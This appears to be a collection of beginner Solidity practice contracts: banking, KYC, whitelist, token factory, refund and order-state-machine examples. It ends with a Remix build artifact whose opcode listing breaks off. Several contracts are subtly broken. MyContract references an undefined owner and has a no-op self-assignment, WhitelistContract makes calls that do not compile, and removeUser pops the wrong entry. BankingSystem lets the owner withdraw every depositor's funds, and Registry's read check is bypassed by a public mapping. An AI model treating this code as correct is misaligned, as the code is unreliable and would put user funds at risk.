error notOwnerError(string notOwnerMsg); | |
error ethExceed(string ethExceedMsg); | |
error accessError(string bankAccessMsg); | |
error loggedOutError(string loggedOutMessage); | |
error receiverError(string receiverAccessMsg); | |
contract BankingSystem { | |
address public owner; | |
uint256 timeStamp; | |
uint256 enrolledTime; | |
mapping(address => bool) enrolledAddresses; | |
mapping(address => bool) accessValid; | |
mapping(address => uint256) public userEthBalance; | |
mapping(address => bool) admins; | |
struct EnrolledUsers { | |
address _address; | |
uint256 enrolledTime; | |
} | |
struct Deposits { | |
address _address; | |
uint256 amount; | |
uint256 timeDeposit; | |
} | |
struct Withdraws { | |
address _address; | |
uint256 amount; | |
uint256 timeWithdraw; | |
} | |
EnrolledUsers[] public enrolledUsers; | |
Deposits[] public deposits; | |
Withdraws[] public withdraws; | |
modifier onlyOwner { | |
if( msg.sender != owner) { | |
revert notOwnerError("Only Owner Function"); | |
} | |
_; | |
} | |
modifier onlyAdmin() { | |
require( admins[msg.sender] , " Only Admin Access"); | |
_; | |
} | |
modifier grantAccess { | |
if(!enrolledAddresses[msg.sender] ) { | |
revert accessError("Please enroll first"); | |
} | |
_; | |
} | |
modifier loginFirst { | |
if(!accessValid[msg.sender] ) { | |
revert loggedOutError("Please Login First"); | |
} | |
_; | |
} | |
//EVENTS | |
event eventDeposit ( | |
address indexed sender, | |
uint256 indexed dateDeposit, | |
uint256 indexed amount, | |
uint balance | |
); | |
event eventWithdraw ( | |
uint256 indexed dateWithdraw, | |
uint256 indexed amount | |
); | |
event eventTransfer ( | |
uint256 indexed dateTransfer, | |
uint256 indexed amount | |
); | |
constructor() { | |
owner = msg.sender; | |
admins[msg.sender] = true; | |
} | |
// Deposit | |
function deposit() public payable grantAccess loginFirst { | |
// require(getConversionRate(msg.value) >= minimumUsd, "Didn't send enough!"); | |
require(msg.value >= 1 ether , "Please deposit at least 1 ether."); | |
//0.014 eth = 14_000_000 gwei = Php1000 | |
userEthBalance[msg.sender] += msg.value; | |
deposits.push( | |
Deposits({ | |
_address: msg.sender, | |
amount: msg.value, | |
timeDeposit: block.timestamp | |
}) | |
); | |
emit eventDeposit(msg.sender, block.timestamp, msg.value, address(this).balance); | |
} | |
function getAllDeposits() public onlyAdmin view returns(Deposits[] memory) { | |
return deposits; | |
} | |
function withdraw(uint256 _amount) public payable grantAccess loginFirst { | |
require (userEthBalance[msg.sender] >= _amount * 1e18, "Insufficient Funds!"); | |
// 0.36 eth = 360_000_000 gwei = Php25,000 | |
if ( _amount * 1e18 >= 2 * 1e18 ) { | |
revert ethExceed("Withdrawal limit exceeded. Please proceed to submit transaction."); | |
} | |
else { | |
userEthBalance[msg.sender] -= _amount * 1e18; | |
(bool sent,) = msg.sender.call{value: _amount * 1e18}("sent!"); | |
require(sent, "Failed to complete!"); | |
} | |
withdraws.push( | |
Withdraws({ | |
_address: msg.sender, | |
amount: _amount * 1e18, | |
timeWithdraw: block.timestamp | |
}) | |
); | |
emit eventWithdraw(block.timestamp, _amount); | |
} | |
//Withdraw All Funds by the contract Owner | |
function withdrawFunds(uint256 _amount) public payable onlyOwner loginFirst { | |
(bool sent,) = msg.sender.call{value: _amount * 1e18}("sent!"); | |
require(sent, "Failed to complete!"); | |
withdraws.push( | |
Withdraws({ | |
_address: msg.sender, | |
amount: _amount * 1e18, | |
timeWithdraw: block.timestamp | |
}) | |
); | |
emit eventWithdraw(block.timestamp, _amount); | |
} | |
function getAllWithdraws() public onlyAdmin view returns(Withdraws[] memory) { | |
return withdraws; | |
} | |
// Get Balance by account | |
function getUserBalance() public view returns (uint256) { | |
return userEthBalance[msg.sender]; | |
} | |
//Get Contract Balance | |
function getContractBalance() public view onlyAdmin returns(uint256) { | |
return address(this).balance; | |
} | |
// Transfer | |
function transferEth(address _receiver, uint256 _amount) public grantAccess loginFirst { | |
userEthBalance[msg.sender] -= _amount * 1e18; | |
if(!enrolledAddresses[_receiver] ) { | |
revert receiverError("Receiver address is not yet enrolled. Please enroll first."); | |
} | |
else{ | |
userEthBalance[_receiver] += _amount * 1e18; | |
} | |
emit eventTransfer(block.timestamp, _amount); | |
} | |
// whitelisting Admins | |
function addAdmin(address _adminAddress) public onlyOwner { | |
admins[_adminAddress] = true; | |
} | |
function removeAdmin(address _adminAddress) public onlyOwner { | |
admins[_adminAddress] = false; | |
} | |
function verifyAdmin(address _adminAddress) public view returns (bool){ | |
bool isAdmin = admins[_adminAddress]; | |
return isAdmin; | |
} | |
// whitelisting Users/clients | |
function enrollUser (address _addressToEnroll) public onlyAdmin{ | |
enrolledAddresses[_addressToEnroll] = true; | |
// enrolledUsers.push(_addressToEnroll); | |
enrolledUsers.push( | |
EnrolledUsers({ | |
_address: _addressToEnroll, | |
enrolledTime: block.timestamp | |
}) | |
); | |
} | |
function removeUser (address _addressToRemove) public onlyAdmin { | |
enrolledAddresses[_addressToRemove] = false; | |
enrolledUsers.pop(); | |
} | |
function verifyUserIfEnrolled(address _address) public view returns (bool) { | |
bool IsUserEnrolled = enrolledAddresses[_address]; | |
return IsUserEnrolled; | |
} | |
function getAllUsers() public onlyAdmin view returns (EnrolledUsers[] memory) { | |
return enrolledUsers; | |
} | |
function accessBankInAndOut() public grantAccess { | |
if( accessValid[msg.sender] == true ) { | |
accessValid[msg.sender] = false; | |
timeStamp = block.timestamp; | |
} else accessValid[msg.sender] = true; | |
timeStamp = block.timestamp; | |
} | |
function isLoggedIn(address _address) public view returns (bool, uint256) { | |
return (accessValid[_address], timeStamp); | |
} | |
receive() external payable { | |
emit eventDeposit(msg.sender, block.timestamp, msg.value, address(this).balance); | |
} | |
fallback() external payable { | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract BankingSystem { | |
struct Customer { | |
string name; | |
uint256 age; | |
address walletAddress; | |
bool isVerified; | |
uint256 balance; // Customer balance in wei | |
} | |
mapping(address => Customer) public customers; | |
mapping(address => bool) public whitelist; | |
address public admin; | |
event CustomerRegistered(address indexed walletAddress, string name); | |
event CustomerVerified(address indexed walletAddress, string name); | |
event CustomerAddedToWhitelist(address indexed walletAddress); | |
event CustomerRemovedFromWhitelist(address indexed walletAddress); | |
event Deposit(address indexed walletAddress, uint256 amount); | |
event Withdrawal(address indexed walletAddress, uint256 amount); | |
constructor() { | |
admin = msg.sender; | |
} | |
modifier onlyAdmin() { | |
require(msg.sender == admin, "Only admin can perform this action"); | |
_; | |
} | |
modifier onlyVerified(address _walletAddress) { | |
require(customers[_walletAddress].isVerified, "Customer is not verified"); | |
_; | |
} | |
function registerCustomer(string memory _name, uint256 _age) public { | |
require(customers[msg.sender].walletAddress != msg.sender, "Customer already registered"); | |
customers[msg.sender] = Customer(_name, _age, msg.sender, false, 0); | |
emit CustomerRegistered(msg.sender, _name); | |
} | |
function verifyCustomer(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
customers[_walletAddress].isVerified = true; | |
emit CustomerVerified(_walletAddress, customers[_walletAddress].name); | |
} | |
function addToWhitelist(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = true; | |
emit CustomerAddedToWhitelist(_walletAddress); | |
} | |
function removeFromWhitelist(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = false; | |
emit CustomerRemovedFromWhitelist(_walletAddress); | |
} | |
function deposit() public payable onlyVerified(msg.sender) { | |
require(msg.value > 0, "Invalid deposit amount"); | |
customers[msg.sender].balance += msg.value; | |
emit Deposit(msg.sender, msg.value); | |
} | |
function withdraw(uint256 _amount) public onlyVerified(msg.sender) { | |
require(_amount > 0, "Invalid withdrawal amount"); | |
require(_amount <= customers[msg.sender].balance, "Insufficient balance"); | |
customers[msg.sender].balance -= _amount; | |
payable(msg.sender).transfer(_amount); | |
emit Withdrawal(msg.sender, _amount); | |
} | |
function getCustomer(address _walletAddress) public view returns (string memory, uint256, address, bool, uint256) { | |
return ( | |
customers[_walletAddress].name, | |
customers[_walletAddress].age, | |
customers[_walletAddress].walletAddress, | |
customers[_walletAddress].isVerified, | |
customers[_walletAddress].balance | |
); | |
} | |
function setAdmin(address _admin) public onlyAdmin { | |
admin = _admin; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// import | |
contract Bank { | |
// try | |
address private owner; | |
bool lock; | |
constructor(){ | |
owner = msg.sender; | |
} | |
modifier onlyOwner(){ | |
require(owner == msg.sender); | |
_; | |
} | |
// Bank Logic | |
// widthdraw() lock {} | |
// catch | |
function emergencyExit() onlyOwner public { | |
// Do stuff | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Storage { | |
mapping(address => uint256) private data; | |
// hash | |
// { Name: "Arc" } | |
// 0x1ij3lkj234lk2j34ljkjasdf | |
// salt | |
function setData(address _user, uint256 _value) external { | |
data[_user] = _value; | |
} | |
function getData(address _user) external view returns (uint256) { | |
return data[_user]; | |
} | |
} | |
contract Logic { | |
Storage private storageContract; | |
constructor(address _storageAddress) { | |
storageContract = Storage(_storageAddress); | |
} | |
//// other function | |
// emergency function | |
// pause/lock | |
// time lock | |
// Setting and Getting Data | |
function setData(address _user, uint256 _value) external { | |
// Perform any required logic here | |
storageContract.setData(_user, _value); | |
} | |
function getData(address _user) external view returns (uint256) { | |
// Perform any required logic here | |
return storageContract.getData(_user); | |
} | |
} | |
contract Logic2 { | |
Storage private storageContract; | |
/// create application | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Factory { | |
address[] public assets; | |
function createAsset(string memory _name) public { | |
address newAsset = address(new Asset(_name)); | |
assets.push(newAsset); | |
} | |
} | |
contract Asset { | |
string public name; | |
constructor(string memory _name){ | |
name = _name; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Token { | |
string public name; | |
string public symbol; | |
uint256 public totalSupply; | |
mapping(address => uint256) public balances; | |
constructor(string memory _name, string memory _symbol, uint256 _totalSupply) { | |
name = _name; | |
symbol = _symbol; | |
totalSupply = _totalSupply; | |
balances[msg.sender] = _totalSupply; | |
} | |
function exit() public { | |
// transfer to factory | |
} | |
// Emergency Stop | |
// Access Control | |
// Lock | |
} | |
// pragma 2.4.0 | |
// smart contract | |
// refrence address | |
// run function | |
contract TokenFactory { | |
address[] public tokenContracts; | |
// placeholder of assets | |
// Function to create a new token contract | |
function createToken(string memory _name, string memory _symbol, uint256 _totalSupply) public { | |
Token newToken = new Token(_name, _symbol, _totalSupply); | |
tokenContracts.push(address(newToken)); | |
} | |
// Function to get the address of the deployed token contract | |
function getTokenAddress(uint256 _tokenId) public view returns (address) { | |
require(_tokenId >= 0 && _tokenId < tokenContracts.length, "Invalid token ID"); | |
return tokenContracts[_tokenId]; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract KYCContract { | |
struct Customer { | |
string name; | |
uint256 age; | |
address walletAddress; | |
bool isVerified; | |
} | |
mapping(address => Customer) public customers; | |
address public admin; | |
event CustomerRegistered(address indexed walletAddress, string name); | |
event CustomerVerified(address indexed walletAddress, string name); | |
modifier onlyAdmin() { | |
require(msg.sender == admin, "Only admin can perform this action"); | |
_; | |
} | |
constructor() { | |
admin = msg.sender; | |
} | |
function registerCustomer(string memory _name, uint256 _age) public { | |
require(customers[msg.sender].walletAddress != msg.sender, "Customer already registered"); | |
customers[msg.sender] = Customer(_name, _age, msg.sender, false); | |
emit CustomerRegistered(msg.sender, _name); | |
} | |
function verifyCustomer(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
customers[_walletAddress].isVerified = true; | |
emit CustomerVerified(_walletAddress, customers[_walletAddress].name); | |
} | |
function getCustomer(address _walletAddress) public view returns (string memory, uint256, address, bool) { | |
return ( | |
customers[_walletAddress].name, | |
customers[_walletAddress].age, | |
customers[_walletAddress].walletAddress, | |
customers[_walletAddress].isVerified | |
); | |
} | |
function setAdmin(address _admin) public onlyAdmin { | |
admin = _admin; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// contract assignAdmin | |
// self destruct | |
contract Registry { | |
address private owner; | |
struct Record { | |
uint256 id; | |
string data; | |
} | |
// commit-reveal | |
// Accesss Control | |
constructor(){ | |
owner = msg.sender; | |
// other | |
} | |
mapping(uint256 => Record) public records; | |
uint256 public totalRecords; | |
event RecordAdded(uint256 indexed id, string data); | |
function addRecord(string memory _data) public { | |
totalRecords++; | |
records[totalRecords] = Record(totalRecords, _data); | |
emit RecordAdded(totalRecords, _data); | |
} | |
function getRecord(uint256 _id) public view returns (uint256, string memory) { | |
require(owner == msg.sender); | |
require(_id > 0 && _id <= totalRecords, "Invalid record ID"); | |
Record storage record = records[_id]; | |
return (record.id, record.data); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// Gas inefficient contract example | |
contract GasInefficientContract { | |
struct Data { | |
uint256 value; | |
bytes32 hash; | |
} | |
function processData(Data memory _data) public pure returns (bool) { | |
bytes32 calculatedHash = keccak256(abi.encodePacked(_data.value)); | |
return (_data.hash == calculatedHash); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract PullOverPush{ | |
mapping(address => uint) public refunds; | |
function deposit() public payable{ | |
refunds[msg.sender] = msg.value; | |
} | |
function refund() public { | |
// check | |
require(refunds[msg.sender] > 0); | |
// effect | |
uint256 amount = refunds[msg.sender]; | |
refunds[msg.sender] = 0; | |
// interact | |
(bool success, ) = msg.sender.call{value : amount}(""); | |
require(success); | |
if(!success){ // assurance | |
refunds[msg.sender] = amount; | |
revert("Issue sending eth"); | |
} | |
} | |
// function refundAll() public { | |
// for (uint x; x < refundAddresses.length; x++) { | |
// require(refundAddresses[x].send(refunds[refundAddresses[x]])); | |
// } | |
// } | |
} |
contract MyContract { | |
// State variables | |
uint public newValue; | |
string public myString; | |
// Events | |
event NumberUpdated(uint newValue); | |
event StringUpdated(string newValue); | |
// Errors | |
error InvalidNumber(uint value); | |
error InvalidString(string value); | |
// Modifiers | |
modifier onlyOwner() { | |
require(msg.sender == owner, "Only the contract owner can call this function"); | |
_; | |
} | |
// Functions | |
constructor() { | |
newValue = 0; | |
myString = ""; | |
} | |
function setNumber(uint newValue) public onlyOwner { | |
require(newValue != 0, InvalidNumber(newValue)); | |
newValue = newValue; | |
emit NumberUpdated(newValue); | |
} | |
function setString(string memory newValue) public onlyOwner { | |
require(bytes(newValue).length > 0, InvalidString(newValue)); | |
myString = newValue; | |
emit StringUpdated(newValue); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity ^0.8.17; | |
contract SimpleCoin { | |
string public name = "SimpleCoin"; | |
string public symbol = "SPC"; | |
uint256 public totalSupply = 1000000; | |
address public owner; | |
mapping(address => uint256) balances; | |
event Transfer(address indexed _from, address indexed _to, uint256 _value); | |
constructor() { | |
balances[msg.sender] = totalSupply; | |
owner = msg.sender; | |
} | |
function transfer(address to, uint256 amount) external { | |
require(balances[msg.sender] >= amount, "Not enough tokens"); | |
balances[msg.sender] -= amount; | |
balances[to] += amount; | |
emit Transfer(msg.sender, to, amount); | |
} | |
function balanceOf(address account) external view returns (uint256) { | |
return balances[account]; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract OrderStateMachine { | |
// Define the possible states of the order | |
enum OrderState {Created, Processing, Completed, Canceled} | |
OrderState public currentState; | |
// Event emitted when the order state changes | |
event StateChanged(OrderState newState); | |
// Function modifier to restrict state transitions | |
modifier onlyState(OrderState _allowedState) { | |
require(currentState == _allowedState, "Invalid state transition"); | |
_; | |
} | |
// Function to transition the order state from Created to Processing | |
function processOrder() public onlyState(OrderState.Created) { | |
currentState = OrderState.Processing; | |
emit StateChanged(currentState); | |
} | |
// Function to transition the order state from Processing to Completed | |
function completeOrder() public onlyState(OrderState.Processing) { | |
currentState = OrderState.Completed; | |
emit StateChanged(currentState); | |
} | |
// Function to transition the order state from Created or Processing to Canceled | |
function cancelOrder() public { | |
require(currentState == OrderState.Created || currentState == OrderState.Processing, "Invalid state transition"); | |
currentState = OrderState.Canceled; | |
emit StateChanged(currentState); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract OrderStateMachine { | |
// Define the possible states of the order | |
enum OrderState {Created, Processing, Completed, Canceled} | |
OrderState public currentState; | |
// Your code goes here | |
// Function to transition the order state from Created to Processing | |
function processOrder() public { | |
// Your code goes here | |
} | |
// Function to transition the order state from Processing to Completed | |
function completeOrder() public { | |
// Your code goes here | |
} | |
// Function to transition the order state from Created or Processing to Canceled | |
function cancelOrder() public { | |
// Your code goes here | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "./KYCContract.sol"; | |
contract WhitelistContract { | |
KYCContract private kycContract; | |
mapping(address => bool) public whitelist; | |
event CustomerAddedToWhitelist(address indexed walletAddress); | |
event CustomerRemovedFromWhitelist(address indexed walletAddress); | |
constructor(address _kycContractAddress) { | |
kycContract = KYCContract(_kycContractAddress); | |
} | |
modifier onlyAdmin() { | |
require(msg.sender == kycContract.admin(), "Only admin can perform this action"); | |
_; | |
} | |
modifier onlyVerified(address _walletAddress) { | |
(, , , bool isVerified) = kycContract.getCustomer(_walletAddress); | |
require(isVerified, "Customer is not verified"); | |
_; | |
} | |
function addToWhitelist(address _walletAddress) public onlyAdmin { | |
require(kycContract.customers(_walletAddress).walletAddress() == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = true; | |
emit CustomerAddedToWhitelist(_walletAddress); | |
} | |
function removeFromWhitelist(address _walletAddress) public onlyAdmin { | |
require(kycContract.customers(_walletAddress).walletAddress == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = false; | |
emit CustomerRemovedFromWhitelist(_walletAddress); | |
} | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b506104af8061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634c261247146100435780638e7ea5b214610058578063f14fcbc81461007c575b5f80fd5b61005661005136600461032a565b61008f565b005b6100606101b1565b6040516001600160a01b03909116815260200160405180910390f35b61005661008a3660046103d5565b610278565b5f546001600160a01b0316331480156100af575060025481516020830120145b156100f1576030815f815181106100c8576100c86103ec565b01602001516100da919060f81c610414565b6004805460ff191660ff9290921691909117905550565b6001546001600160a01b031633148015610112575060035481516020830120145b1561015a576030815f8151811061012b5761012b6103ec565b016020015161013d919060f81c610414565b600460016101000a81548160ff021916908360ff16021790555050565b60405162461bcd60e51b815260206004820152602160248201527f4e6f7420617574686f72697a6564206f7220696e76616c696420636f6d6d69746044820152601760f91b60648201526084015b60405180910390fd5b6004545f9060ff16158015906101d05750600454610100900460ff1615155b61022c5760405162461bcd60e51b815260206004820152602760248201527f426f746820706c6179657273206d7573742072657665616c20746865697220636044820152663437b4b1b2b99760c91b60648201526084016101a8565b6004546002906102469060ff610100820481169116610433565b610250919061044c565b60ff165f0361026857505f546001600160a01b031690565b506001546001600160a01b031690565b5f546001600160a01b0316331480156102915750600254155b1561029b57600255565b6001546001600160a01b0316331480156102b55750600354155b156102bf57600355565b60405162461bcd60e51b815260206004820152602660248201527f4e6f7420617574686f72697a6564206f7220636f6d6d697420616c72656164796044820152651036b0b2329760d11b60648201526084016101a8565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561033a575f80fd5b813567ffffffffffffffff80821115610351575f80fd5b818401915084601f830112610364575f80fd5b81358181111561037657610376610316565b604051601f8201601f19908116603f0116810190838211818310171561039e5761039e610316565b816040528281528760208487010111156103b6575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f602082840312156103e5575f80fd5b5035919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b60ff828116828216039081111561042d5761042d610400565b92915050565b60ff818116838216019081111561042d5761042d610400565b5f60ff83168061046a57634e487b7160e01b5f52601260045260245ffd5b8060ff8416069150509291505056fea264697066735822122053ba8949d6dd43cea2ff1a4c92b6caa1bc25491deb4996f2724067b5d43c41c164736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0x4AF DUP1 PUSH2 0x1D PUSH0 CODECOPY PUSH0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x3F JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x4C261247 EQ PUSH2 0x43 JUMPI DUP1 PUSH4 0x8E7EA5B2 EQ PUSH2 0x58 JUMPI DUP1 PUSH4 0xF14FCBC8 EQ PUSH2 0x7C JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH2 0x56 PUSH2 0x51 CALLDATASIZE PUSH1 0x4 PUSH2 0x32A JUMP JUMPDEST PUSH2 0x8F JUMP JUMPDEST STOP JUMPDEST PUSH2 0x60 PUSH2 0x1B1 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB SWAP1 SWAP2 AND DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x56 PUSH2 0x8A CALLDATASIZE PUSH1 0x4 PUSH2 0x3D5 JUMP JUMPDEST PUSH2 0x278 JUMP JUMPDEST PUSH0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ DUP1 ISZERO PUSH2 0xAF JUMPI POP PUSH1 0x2 SLOAD DUP2 MLOAD PUSH1 0x20 DUP4 ADD KECCAK256 EQ JUMPDEST ISZERO PUSH2 0xF1 JUMPI PUSH1 0x30 DUP2 PUSH0 DUP2 MLOAD DUP2 LT PUSH2 0xC8 JUMPI PUSH2 0xC8 PUSH2 0x3EC JUMP JUMPDEST ADD PUSH1 0x20 ADD MLOAD PUSH2 0xDA SWAP2 SWAP1 PUSH1 0xF8 SHR PUSH2 0x414 JUMP JUMPDEST PUSH1 0x4 DUP1 SLOAD PUSH1 0xFF NOT AND PUSH1 0xFF SWAP3 SWAP1 SWAP3 AND SWAP2 SWAP1 SWAP2 OR SWAP1 SSTORE POP JUMP JUMPDEST PUSH1 0x1 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ DUP1 ISZERO PUSH2 0x112 JUMPI POP PUSH1 0x3 SLOAD DUP2 MLOAD PUSH1 0x20 DUP4 ADD KECCAK256 EQ JUMPDEST ISZERO PUSH2 0x15A JUMPI PUSH1 0x30 DUP2 PUSH0 DUP2 MLOAD DUP2 LT PUSH2 0x12B JUMPI PUSH2 0x12B PUSH2 0x3EC JUMP JUMPDEST ADD PUSH1 0x20 ADD MLOAD PUSH2 0x13D SWAP2 SWAP1 PUSH1 0xF8 SHR PUSH2 0x414 JUMP JUMPDEST PUSH1 0x4 PUSH1 0x1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 PUSH1 0xFF AND MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD MSTORE PUSH1 0x21 PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4E6F7420617574686F72697A6564206F7220696E76616C696420636F6D6D6974 PUSH1 0x44 DUP3 ADD MSTORE PUSH1 0x17 PUSH1 0xF9 SHL PUSH1 0x64 DUP3 ADD MSTORE PUSH1 0x84 ADD JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x4 SLOAD PUSH0 SWAP1 PUSH1 0xFF AND ISZERO DUP1 ISZERO SWAP1 PUSH2 0x1D0 JUMPI POP PUSH1 0x4 SLOAD PUSH2 0x100 SWAP1 DIV PUSH1 0xFF AND ISZERO ISZERO JUMPDEST PUSH2 0x22C JUMPI PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD MSTORE PUSH1 0x27 PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x426F746820706C6179657273206D7573742072657665616C2074686569722063 PUSH1 0x44 DUP3 ADD MSTORE PUSH7 0x3437B4B1B2B997 PUSH1 0xC9 SHL PUSH1 0x64 DUP3 ADD MSTORE PUSH1 0x84 ADD PUSH2 0x1A8 JUMP JUMPDEST PUSH1 0x4 SLOAD PUSH1 0x2 SWAP1 PUSH2 0x246 SWAP1 PUSH1 0xFF PUSH2 0x100 DUP3 DIV DUP2 AND SWAP2 AND PUSH2 0x433 JUMP JUMPDEST PUSH2 0x250 SWAP2 SWAP1 PUSH2 0x44C JUMP JUMPDEST PUSH1 0xFF AND PUSH0 SUB PUSH2 0x268 JUMPI POP PUSH0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND SWAP1 JUMP JUMPDEST POP PUSH1 0x1 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND SWAP1 JUMP JUMPDEST PUSH0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ DUP1 ISZERO PUSH2 0x291 JUMPI POP PUSH1 0x2 SLOAD ISZERO JUMPDEST ISZERO PUSH2 0x29B JUMPI PUSH1 0x2 SSTORE JUMP JUMPDEST PUSH1 0x1 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ DUP1 ISZERO PUSH2 0x2B5 JUMPI POP PUSH1 0x3 SLOAD ISZERO JUMPDEST ISZERO PUSH2 0x2BF JUMPI PUSH1 0x3 SSTORE JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD MSTORE PUSH1 0x26 PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4E6F7420617574686F72697A6564206F7220636F6D6D697420616C7265616479 PUSH1 0x44 DUP3 ADD MSTORE PUSH6 0x1036B0B23297 PUSH1 0xD1 SHL PUSH1 0x64 DUP3 ADD MSTORE PUSH1 0x84 ADD PUSH2 0x1A8 JUMP JUMPDEST PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x33A JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP2 CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP1 DUP3 GT ISZERO PUSH2 0x351 JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP2 DUP5 ADD SWAP2 POP DUP5 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x364 JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP2 CALLDATALOAD DUP2 DUP2 GT ISZERO PUSH2 0x376 JUMPI PUSH2 0x376 PUSH2 0x316 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x1F DUP3 ADD PUSH1 0x1F NOT SWAP1 DUP2 AND PUSH1 0x3F ADD AND DUP2 ADD SWAP1 DUP4 DUP3 GT DUP2 DUP4 LT OR ISZERO PUSH2 0x39E JUMPI PUSH2 0x39E PUSH2 0x316 JUMP JUMPDEST DUP2 PUSH1 0x40 MSTORE DUP3 DUP2 MSTORE DUP8 PUSH1 0x20 DUP5 DUP8 ADD ADD GT ISZERO PUSH2 0x3B6 JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP3 PUSH1 0x20 DUP7 ADD PUSH1 0x20 DUP4 ADD CALLDATACOPY PUSH0 SWAP3 DUP2 ADD PUSH1 0x20 ADD SWAP3 SWAP1 SWAP3 MSTORE POP SWAP6 SWAP5 POP POP POP POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x3E5 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP CALLDATALOAD SWAP2 SWAP1 POP JUMP JUMPDEST PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x32 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 